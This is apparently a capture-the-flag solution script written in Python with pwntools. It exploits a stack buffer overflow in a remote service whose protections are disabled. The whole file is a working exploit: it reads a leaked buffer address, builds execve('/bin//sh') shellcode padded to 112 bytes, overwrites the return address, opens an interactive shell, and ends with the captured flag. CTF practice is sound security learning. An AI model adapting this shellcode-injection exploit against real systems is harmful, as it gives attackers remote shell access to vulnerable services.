#!/usr/bin/env python
from pwn import *

r = remote('192.168.31.25',11002)

#CANARY    : disabled
#FORTIFY   : disabled
#NX        : disabled
#PIE       : disabled
#RELRO     : Partial

#buffer overflow 112

res = r.readuntil(':')
buf_add = res.split('\n')[0].split(' ')[-1]
print 'buf_add =',buf_add

#shellcode -------------
# xor eax,eax	1\xc0
# push eax	P
# push '//sh'	h//sh
# push '/bin'	h/bin
# mov al,11	\xb0\x0b
# mov ebx,esp	\x89\xe3
# int 80	\xcd\x80

shellcode = '1\xc0Ph//shh/bin\xb0\x0b\x89\xe3\xcd\x80'

payload = shellcode + 'A'*(112-len(shellcode)) + p32(int(buf_add,16))
print payload
r.send(payload)
r.interactive()

#AD{sh3Llc0d3_1s_4w3s0m3}
